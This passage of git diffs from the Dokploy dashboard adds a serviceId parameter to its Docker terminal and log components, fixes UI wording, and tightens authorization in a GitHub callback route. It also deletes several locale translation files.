ws.close();
}
};
}, [containerId, serverId, lines, search, since]);
}, [containerId, serverId, serviceId, lines, search, since]);
const handleDownload = () => {
const logContent = filteredLogs

View File

@@ -23,12 +23,14 @@ interface Props {
containerId: string;
serverId?: string;
children?: React.ReactNode;
serviceId?: string;
}
export const DockerTerminalModal = ({
children,
containerId,
serverId,
serviceId,
}: Props) => {
const [mainDialogOpen, setMainDialogOpen] = useState(false);
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -74,6 +76,7 @@ export const DockerTerminalModal = ({
id="terminal"
containerId={containerId}
serverId={serverId || ""}
serviceId={serviceId}
/>
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -10,12 +10,14 @@ interface Props {
id: string;
containerId?: string;
serverId?: string;
serviceId?: string;
}
export const DockerTerminal: React.FC<Props> = ({
id,
containerId,
serverId,
serviceId,
}) => {
const termRef = useRef(null);
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -38,7 +40,7 @@ export const DockerTerminal: React.FC<Props> = ({
const addonFit = new FitAddon();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
const ws = new WebSocket(wsUrl);

View File

@@ -229,6 +229,7 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
)}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.libsqlId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -236,6 +236,7 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
))}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mariadbId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -230,6 +230,7 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mongoId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -228,6 +228,7 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mysqlId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -234,6 +234,7 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.postgresId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -229,6 +229,7 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.redisId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
</DialogTrigger>
<DialogContent className="sm:max-w-2xl">
<DialogHeader>
<DialogTitle>Add a external registry</DialogTitle>
<DialogTitle>Add an external registry</DialogTitle>
<DialogDescription>
Fill the next fields to add a external registry.
Fill in the following fields to add an external registry.
</DialogDescription>
</DialogHeader>
{(isError || testRegistryIsError || testRegistryByIdIsError) && (

View File

@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="">
<FormLabel>App Deploy</FormLabel>
<FormDescription>
Trigger the action when a app is deployed.
Trigger the action when an app is deployed.
</FormDescription>
</div>
<FormControl>
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Dokploy Backup</FormLabel>
<FormDescription>
Trigger the action when a dokploy backup is created.
Trigger the action when a Dokploy backup is created.
</FormDescription>
</div>
<FormControl>
@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel>
<FormDescription>
Trigger the action when the docker cleanup is
performed.
Trigger the action when Docker cleanup is performed.
</FormDescription>
</div>
<FormControl>
@@ -1955,7 +1954,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Dokploy Restart</FormLabel>
<FormDescription>
Trigger the action when dokploy is restarted.
Trigger the action when Dokploy is restarted.
</FormDescription>
</div>
<FormControl>

View File

@@ -43,7 +43,8 @@ const addServerDomain = z
.string()
.trim()
.toLowerCase()
.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
// empty clears the server domain and reverts to IP-only access
.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE,
}),
letsEncryptEmail: z.string(),
@@ -51,7 +52,7 @@ const addServerDomain = z
certificateType: z.enum(["letsencrypt", "none", "custom"]),
})
.superRefine((data, ctx) => {
if (data.https && !data.certificateType) {
if (data.domain && data.https && !data.certificateType) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["certificateType"],
@@ -59,6 +60,7 @@ const addServerDomain = z
});
}
if (
data.domain &&
data.https &&
data.certificateType === "letsencrypt" &&
!data.letsEncryptEmail

View File

@@ -40,6 +40,7 @@ interface Props {
children?: React.ReactNode;
serverId?: string;
appType?: "stack" | "docker-compose";
serviceId?: string;
}
export const DockerTerminalModal = ({
@@ -47,6 +48,7 @@ export const DockerTerminalModal = ({
appName,
serverId,
appType,
serviceId,
}: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{
@@ -131,6 +133,7 @@ export const DockerTerminalModal = ({
serverId={serverId || ""}
id="terminal"
containerId={containerId || "select-a-container"}
serviceId={serviceId}
/>
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -7,11 +7,7 @@ import {
import { css } from "@codemirror/lang-css";
import { json } from "@codemirror/lang-json";
import { yaml } from "@codemirror/lang-yaml";
import {
getIndentUnit,
indentService,
StreamLanguage,
} from "@codemirror/language";
import { StreamLanguage } from "@codemirror/language";
import { properties } from "@codemirror/legacy-modes/mode/properties";
import { shell } from "@codemirror/legacy-modes/mode/shell";
import { search, searchKeymap } from "@codemirror/search";
@@ -102,27 +98,6 @@ const dockerComposeServiceOptions = [
},
}));
// The indentNodeProp shipped with @codemirror/lang-yaml computes wrong
// column-based indents on Enter (odd/inconsistent amounts, see #4650), so
// indentation is resolved line-based here: keep the current indent, align
// list-entry keys after the dash marker, and go one unit deeper after a
// line that opens a block (ending in ":", "|" or ">").
const yamlIndent = indentService.of((context, pos) => {
const line = context.state.doc.lineAt(pos);
const before = context.state.doc.sliceString(line.from, pos);
const indent = /^ */.exec(before)?.[0].length ?? 0;
const trimmed = before.trim();
if (!trimmed || trimmed.startsWith("#")) {
return indent;
}
const base =
trimmed.startsWith("- ") && /:\s/.test(trimmed) ? indent + 2 : indent;
if (/[:|>]$/.test(trimmed)) {
return base + getIndentUnit(context.state);
}
return base;
});
function dockerComposeComplete(
context: CompletionContext,
): CompletionResult | null {
@@ -185,7 +160,7 @@ export const CodeEditor = ({
search(),
keymap.of(searchKeymap),
language === "yaml"
? [yamlIndent, yaml()]
? yaml()
: language === "json"
? json()
: language === "css"

View File

@@ -151,13 +151,15 @@ function CommandItem({
<CommandPrimitive.Item
data-slot="command-item"
className={cn(
"group/command-item relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
"group/command-item relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
className,
)}
{...props}
>
{children}
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
{"data-checked" in props && (
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
)}
</CommandPrimitive.Item>
);
}

View File

@@ -80,7 +80,7 @@ function SelectContent({
<SelectPrimitive.Viewport
data-position={position}
className={cn(
"data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
"p-1 data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
position === "popper" && "",
)}
>
@@ -114,7 +114,7 @@ function SelectItem({
<SelectPrimitive.Item
data-slot="select-item"
className={cn(
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1 pr-8 pl-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1.5 pr-8 pl-2 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
className,
)}
{...props}

View File

@@ -1,5 +1,6 @@
import { createGithub } from "@dokploy/server";
import { createGithub, validateRequest } from "@dokploy/server";
import { db } from "@dokploy/server/db";
import { hasPermission } from "@dokploy/server/services/permission";
import { eq } from "drizzle-orm";
import type { NextApiRequest, NextApiResponse } from "next";
import { Octokit } from "octokit";
@@ -21,18 +22,22 @@ export default async function handler(
if (!code) {
return res.status(400).json({ error: "Missing code parameter" });
}
const [action, ...rest] = state?.split(":");
// For gh_init: rest[0] = organizationId, rest[1] = userId
// For gh_setup: rest[0] = githubProviderId
const { user, session } = await validateRequest(req);
if (!user || !session?.activeOrganizationId) {
return res.status(401).json({ error: "Unauthorized" });
}
const ctx = {
user: { id: user.id },
session: { activeOrganizationId: session.activeOrganizationId },
};
const [action] = state?.split(":") ?? [];
if (!(await hasPermission(ctx, { gitProviders: ["create"] }))) {
return res.status(403).json({ error: "Forbidden" });
}
if (action === "gh_init") {
const organizationId = rest[0];
const userId = rest[1] || (req.query.userId as string);
if (!userId) {
return res.status(400).json({ error: "Missing userId parameter" });
}
const octokit = new Octokit({});
const { data } = await octokit.request(
"POST /app-manifests/{code}/conversions",
@@ -51,16 +56,32 @@ export default async function handler(
githubWebhookSecret: data.webhook_secret,
githubPrivateKey: data.pem,
},
organizationId as string,
userId,
session.activeOrganizationId,
user.id,
);
} else if (action === "gh_setup") {
const githubId = state?.split(":")[1];
if (!githubId) {
return res.status(400).json({ error: "Missing github provider id" });
}
const provider = await db.query.github.findFirst({
where: eq(github.githubId, githubId),
with: { gitProvider: true },
});
if (
!provider ||
provider.gitProvider.organizationId !== session.activeOrganizationId
) {
return res.status(404).json({ error: "Github provider not found" });
}
await db
.update(github)
.set({
githubInstallationId: installation_id,
})
.where(eq(github.githubId, rest[0] as string))
.where(eq(github.githubId, githubId))
.returning();
}

View File

@@ -347,6 +347,7 @@ const Service = (
<ShowDockerLogs
appName={data?.appName || ""}
serverId={data?.serverId || ""}
serviceId={data?.applicationId}
/>
</div>
</TabsContent>

View File

@@ -312,6 +312,7 @@ const Service = (
serverId={data?.serverId || undefined}
appName={data?.appName || ""}
appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
/>
</div>
</TabsContent>
@@ -380,11 +381,13 @@ const Service = (
serverId={data?.serverId || ""}
appName={data?.appName || ""}
appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
/>
) : (
<ShowDockerLogsStack
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.composeId}
/>
)}
</div>

View File

@@ -269,6 +269,7 @@ const Libsql = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.libsqlId}
/>
</div>
</TabsContent>

View File

@@ -299,6 +299,7 @@ const Mariadb = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.mariadbId}
/>
</div>
</TabsContent>

View File

@@ -299,6 +299,7 @@ const Mongo = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.mongoId}
/>
</div>
</TabsContent>

View File

@@ -276,6 +276,7 @@ const MySql = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.mysqlId}
/>
</div>
</TabsContent>

View File

@@ -284,6 +284,7 @@ const Postgresql = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.postgresId}
/>
</div>
</TabsContent>

View File

@@ -297,6 +297,7 @@ const Redis = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.redisId}
/>
</div>
</TabsContent>

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Yadda saxla",
"settings.common.enterTerminal": "Terminala daxil ol",
"settings.server.domain.title": "Server Domeni",
"settings.server.domain.description": "Server tətbiqinizə domen əlavə edin.",
"settings.server.domain.form.domain": "Domen",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-poçtu",
"settings.server.domain.form.certificate.label": "Sertifikat Təminatçısı",
"settings.server.domain.form.certificate.placeholder": "Sertifikat seçin",
"settings.server.domain.form.certificateOptions.none": "Heç biri",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Veb Server",
"settings.server.webServer.description": "Veb serveri yenidən yüklə və ya təmizlə.",
"settings.server.webServer.actions": "Əməliyyatlar",
"settings.server.webServer.reload": "Yenidən yüklə",
"settings.server.webServer.watchLogs": "Logları izlə",
"settings.server.webServer.updateServerIp": "Server IP-ni Yenilə",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Mühiti Dəyişdir",
"settings.server.webServer.traefik.managePorts": "Əlavə Port Təyinatları",
"settings.server.webServer.traefik.managePortsDescription": "Traefik üçün əlavə portlar əlavə edin və ya silin",
"settings.server.webServer.traefik.targetPort": "Hədəf Port",
"settings.server.webServer.traefik.publishedPort": "Dərc Edilmiş Port",
"settings.server.webServer.traefik.addPort": "Port Əlavə Et",
"settings.server.webServer.traefik.portsUpdated": "Portlar uğurla yeniləndi",
"settings.server.webServer.traefik.portsUpdateError": "Portların yenilənməsi uğursuz oldu",
"settings.server.webServer.traefik.publishMode": "Dərc Rejimi",
"settings.server.webServer.storage.label": "Yer",
"settings.server.webServer.storage.cleanUnusedImages": "İstifadə edilməyən şəkilləri təmizlə",
"settings.server.webServer.storage.cleanUnusedVolumes": "İstifadə edilməyən həcmləri təmizlə",
"settings.server.webServer.storage.cleanStoppedContainers": "Dayandırılmış konteynerləri təmizlə",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder və Sistemi təmizlə",
"settings.server.webServer.storage.cleanMonitoring": "Monitorinqi təmizlə",
"settings.server.webServer.storage.cleanAll": "Hamısını təmizlə",
"settings.profile.title": "Hesab",
"settings.profile.description": "Profilinizin məlumatlarını buradan dəyişin.",
"settings.profile.email": "E-poçt",
"settings.profile.password": "Şifrə",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Görünüş",
"settings.appearance.description": "İdarəetmə panelinizin görünüşünü fərdiləşdirin.",
"settings.appearance.theme": "Mövzu",
"settings.appearance.themeDescription": "İdarəetmə paneliniz üçün mövzu seçin",
"settings.appearance.themes.light": "İşıqlı",
"settings.appearance.themes.dark": "Qaranlıq",
"settings.appearance.themes.system": "Sistem",
"settings.appearance.language": "Dil",
"settings.appearance.languageDescription": "İdarəetmə paneliniz üçün dil seçin",
"settings.terminal.connectionSettings": "Bağlantı parametrləri",
"settings.terminal.ipAddress": "IP Ünvanı",
"settings.terminal.port": "Port",
"settings.terminal.username": "İstifadəçi adı"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Speichern",
"settings.server.domain.title": "Server-Domain",
"settings.server.domain.description": "Füg eine Domain zu deiner Server-Anwendung hinzu.",
"settings.server.domain.form.domain": "Domain",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-Mail",
"settings.server.domain.form.certificate.label": "Zertifikat",
"settings.server.domain.form.certificate.placeholder": "Wähl ein Zertifikat aus",
"settings.server.domain.form.certificateOptions.none": "Keins",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Standard)",
"settings.server.webServer.title": "Web-Server",
"settings.server.webServer.description": "Lade den Web-Server neu oder reinige ihn.",
"settings.server.webServer.actions": "Aktionen",
"settings.server.webServer.reload": "Neu laden",
"settings.server.webServer.watchLogs": "Logs anschauen",
"settings.server.webServer.updateServerIp": "Server-IP Aktualisieren",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Umgebungsvariablen ändern",
"settings.server.webServer.storage.label": "Speicherplatz",
"settings.server.webServer.storage.cleanUnusedImages": "Nicht genutzte Bilder löschen",
"settings.server.webServer.storage.cleanUnusedVolumes": "Nicht genutzte Volumes löschen",
"settings.server.webServer.storage.cleanStoppedContainers": "Gestoppte Container löschen",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & System bereinigen",
"settings.server.webServer.storage.cleanMonitoring": "Monitoring bereinigen",
"settings.server.webServer.storage.cleanAll": "Alles bereinigen",
"settings.profile.title": "Konto",
"settings.profile.description": "Ändere die Details deines Profiles hier.",
"settings.profile.email": "E-Mail",
"settings.profile.password": "Passwort",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Aussehen",
"settings.appearance.description": "Pass das Design deines Dashboards an.",
"settings.appearance.theme": "Theme",
"settings.appearance.themeDescription": "Wähl ein Theme für dein Dashboard aus",
"settings.appearance.themes.light": "Hell",
"settings.appearance.themes.dark": "Dunkel",
"settings.appearance.themes.system": "System",
"settings.appearance.language": "Sprache",
"settings.appearance.languageDescription": "Wähl eine Sprache für dein Dashboard aus"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Save",
"settings.common.enterTerminal": "Terminal",
"settings.server.domain.title": "Server Domain",
"settings.server.domain.description": "Add a domain to your server application.",
"settings.server.domain.form.domain": "Domain",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email",
"settings.server.domain.form.certificate.label": "Certificate Provider",
"settings.server.domain.form.certificate.placeholder": "Select a certificate",
"settings.server.domain.form.certificateOptions.none": "None",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Web Server",
"settings.server.webServer.description": "Reload or clean the web server.",
"settings.server.webServer.actions": "Actions",
"settings.server.webServer.reload": "Reload",
"settings.server.webServer.watchLogs": "View Logs",
"settings.server.webServer.updateServerIp": "Update Server IP",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Modify Environment",
"settings.server.webServer.traefik.managePorts": "Additional Port Mappings",
"settings.server.webServer.traefik.managePortsDescription": "Add or remove additional ports for Traefik",
"settings.server.webServer.traefik.targetPort": "Target Port",
"settings.server.webServer.traefik.publishedPort": "Published Port",
"settings.server.webServer.traefik.addPort": "Add Port",
"settings.server.webServer.traefik.portsUpdated": "Ports updated successfully",
"settings.server.webServer.traefik.portsUpdateError": "Failed to update ports",
"settings.server.webServer.traefik.publishMode": "Publish Mode",
"settings.server.webServer.storage.label": "Space",
"settings.server.webServer.storage.cleanUnusedImages": "Clean unused images",
"settings.server.webServer.storage.cleanUnusedVolumes": "Clean unused volumes",
"settings.server.webServer.storage.cleanStoppedContainers": "Clean stopped containers",
"settings.server.webServer.storage.cleanDockerBuilder": "Clean Docker Builder & System",
"settings.server.webServer.storage.cleanMonitoring": "Clean Monitoring",
"settings.server.webServer.storage.cleanAll": "Clean all",
"settings.profile.title": "Account",
"settings.profile.description": "Change the details of your profile here.",
"settings.profile.email": "Email",
"settings.profile.password": "Password",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Appearance",
"settings.appearance.description": "Customize the theme of your dashboard.",
"settings.appearance.theme": "Theme",
"settings.appearance.themeDescription": "Select a theme for your dashboard",
"settings.appearance.themes.light": "Light",
"settings.appearance.themes.dark": "Dark",
"settings.appearance.themes.system": "System",
"settings.appearance.language": "Language",
"settings.appearance.languageDescription": "Select a language for your dashboard",
"settings.terminal.connectionSettings": "Connection settings",
"settings.terminal.ipAddress": "IP Address",
"settings.terminal.port": "Port",
"settings.terminal.username": "Username"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,52 +0,0 @@
{
"settings.common.save": "Guardar",
"settings.server.domain.title": "Dominio del Servidor",
"settings.server.domain.description": "Añade un dominio a tu aplicación de servidor.",
"settings.server.domain.form.domain": "Dominio",
"settings.server.domain.form.letsEncryptEmail": "Correo de Let's Encrypt",
"settings.server.domain.form.certificate.label": "Proveedor de Certificado",
"settings.server.domain.form.certificate.placeholder": "Selecciona un certificado",
"settings.server.domain.form.certificateOptions.none": "Ninguno",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Servidor Web",
"settings.server.webServer.description": "Recarga o limpia el servidor web.",
"settings.server.webServer.actions": "Acciones",
"settings.server.webServer.reload": "Recargar",
"settings.server.webServer.watchLogs": "Ver registros",
"settings.server.webServer.updateServerIp": "Actualizar IP del Servidor",
"settings.server.webServer.server.label": "Servidor",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Modificar Entorno",
"settings.server.webServer.traefik.managePorts": "Asignación Adicional de Puertos",
"settings.server.webServer.traefik.managePortsDescription": "Añadir o eliminar puertos adicionales para Traefik",
"settings.server.webServer.traefik.targetPort": "Puerto de Destino",
"settings.server.webServer.traefik.publishedPort": "Puerto Publicado",
"settings.server.webServer.traefik.addPort": "Añadir Puerto",
"settings.server.webServer.traefik.portsUpdated": "Puertos actualizados correctamente",
"settings.server.webServer.traefik.portsUpdateError": "Error al actualizar los puertos",
"settings.server.webServer.traefik.publishMode": "Modo de Publicación",
"settings.server.webServer.storage.label": "Espacio",
"settings.server.webServer.storage.cleanUnusedImages": "Limpiar imágenes no utilizadas",
"settings.server.webServer.storage.cleanUnusedVolumes": "Limpiar volúmenes no utilizados",
"settings.server.webServer.storage.cleanStoppedContainers": "Limpiar contenedores detenidos",
"settings.server.webServer.storage.cleanDockerBuilder": "Limpiar Constructor de Docker y Sistema",
"settings.server.webServer.storage.cleanMonitoring": "Limpiar Monitoreo",
"settings.server.webServer.storage.cleanAll": "Limpiar todo",
"settings.profile.title": "Cuenta",
"settings.profile.description": "Cambia los detalles de tu perfil aquí.",
"settings.profile.email": "Correo electrónico",
"settings.profile.password": "Contraseña",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Apariencia",
"settings.appearance.description": "Personaliza el tema de tu panel.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Selecciona un tema para tu panel",
"settings.appearance.themes.light": "Claro",
"settings.appearance.themes.dark": "Oscuro",
"settings.appearance.themes.system": "Sistema",
"settings.appearance.language": "Idioma",
"settings.appearance.languageDescription": "Selecciona un idioma para tu panel"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "ذخیره",
"settings.server.domain.title": "دامنه سرور",
"settings.server.domain.description": "یک دامنه به برنامه سرور خود اضافه کنید.",
"settings.server.domain.form.domain": "دامنه",
"settings.server.domain.form.letsEncryptEmail": "ایمیل Let's Encrypt",
"settings.server.domain.form.certificate.label": "گواهینامه",
"settings.server.domain.form.certificate.placeholder": "یک گواهینامه انتخاب کنید",
"settings.server.domain.form.certificateOptions.none": "هیچکدام",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (پیش‌فرض)",
"settings.server.webServer.title": "وب سرور",
"settings.server.webServer.description": "وب سرور را بازنشانی یا پاک کنید.",
"settings.server.webServer.actions": "اقدامات",
"settings.server.webServer.reload": "بارگذاری مجدد",
"settings.server.webServer.watchLogs": "مشاهده گزارش‌ها",
"settings.server.webServer.updateServerIp": "به‌روزرسانی آی‌پی سرور",
"settings.server.webServer.server.label": "سرور",
"settings.server.webServer.traefik.label": "ترافیک",
"settings.server.webServer.traefik.modifyEnv": "ویرایش محیط",
"settings.server.webServer.storage.label": "فضا",
"settings.server.webServer.storage.cleanUnusedImages": "پاکسازی Image های بدون استفاده",
"settings.server.webServer.storage.cleanUnusedVolumes": "پاک‌سازی ولوم‌های بدون استفاده",
"settings.server.webServer.storage.cleanStoppedContainers": "پاک‌سازی کانتینرهای متوقف‌شده",
"settings.server.webServer.storage.cleanDockerBuilder": "پاک‌سازی بیلدر و سیستم داکر",
"settings.server.webServer.storage.cleanMonitoring": "پاک‌سازی پایش",
"settings.server.webServer.storage.cleanAll": "پاک‌سازی همه",
"settings.profile.title": "حساب کاربری",
"settings.profile.description": "جزئیات پروفایل خود را در اینجا تغییر دهید.",
"settings.profile.email": "ایمیل",
"settings.profile.password": "رمز عبور",
"settings.profile.avatar": "تصویر پروفایل",
"settings.appearance.title": "ظاهر",
"settings.appearance.description": "تم داشبورد خود را سفارشی کنید.",
"settings.appearance.theme": "تم",
"settings.appearance.themeDescription": "یک تم برای داشبورد خود انتخاب کنید",
"settings.appearance.themes.light": "روشن",
"settings.appearance.themes.dark": "تاریک",
"settings.appearance.themes.system": "سیستم",
"settings.appearance.language": "زبان",
"settings.appearance.languageDescription": "یک زبان برای داشبورد خود انتخاب کنید"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Sauvegarder",
"settings.server.domain.title": "Nom de domaine du serveur",
"settings.server.domain.description": "Ajouter un nom de domaine au serveur de votre application.",
"settings.server.domain.form.domain": "Domaine",
"settings.server.domain.form.letsEncryptEmail": "Adresse email Let's Encrypt",
"settings.server.domain.form.certificate.label": "Certificat",
"settings.server.domain.form.certificate.placeholder": "Choisir un certificat",
"settings.server.domain.form.certificateOptions.none": "Aucun",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Par défaut)",
"settings.server.webServer.title": "Serveur web",
"settings.server.webServer.description": "Recharger ou nettoyer le serveur web.",
"settings.server.webServer.actions": "Actions",
"settings.server.webServer.reload": "Recharger",
"settings.server.webServer.watchLogs": "Consulter les logs",
"settings.server.webServer.updateServerIp": "Mettre à jour l'IP du serveur",
"settings.server.webServer.server.label": "Serveur",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Modifier les variables d'environnement",
"settings.server.webServer.storage.label": "Stockage",
"settings.server.webServer.storage.cleanUnusedImages": "Supprimer les images inutilisées",
"settings.server.webServer.storage.cleanUnusedVolumes": "Supprimer les volumes inutilisés",
"settings.server.webServer.storage.cleanStoppedContainers": "Supprimer les conteneurs arrêtés",
"settings.server.webServer.storage.cleanDockerBuilder": "Nettoyer le Docker Builder & System",
"settings.server.webServer.storage.cleanMonitoring": "Nettoyer le monitoring",
"settings.server.webServer.storage.cleanAll": "Tout nettoyer",
"settings.profile.title": "Compte",
"settings.profile.description": "Modifier les informations de votre compte ici.",
"settings.profile.email": "Adresse Email",
"settings.profile.password": "Mot de passe",
"settings.profile.avatar": "Photo de profil",
"settings.appearance.title": "Apparence",
"settings.appearance.description": "Customiser le thème de votre dashboard.",
"settings.appearance.theme": "Thème",
"settings.appearance.themeDescription": "Choisir un thème pour votre dashboard",
"settings.appearance.themes.light": "Clair",
"settings.appearance.themes.dark": "Sombre",
"settings.appearance.themes.system": "Système",
"settings.appearance.language": "Langue",
"settings.appearance.languageDescription": "Sélectionner une langue pour votre dashboard"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Simpan",
"settings.common.enterTerminal": "Buka Terminal",
"settings.server.domain.title": "Domain Server",
"settings.server.domain.description": "Tambahkan domain ke aplikasi server anda.",
"settings.server.domain.form.domain": "Domain",
"settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt",
"settings.server.domain.form.certificate.label": "Penyedia Sertifikat",
"settings.server.domain.form.certificate.placeholder": "Pilih sertifikat",
"settings.server.domain.form.certificateOptions.none": "Tidak ada",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Server Web",
"settings.server.webServer.description": "Muat ulang atau bersihkan server web.",
"settings.server.webServer.actions": "Opsi",
"settings.server.webServer.reload": "Muat ulang",
"settings.server.webServer.watchLogs": "Lihat log",
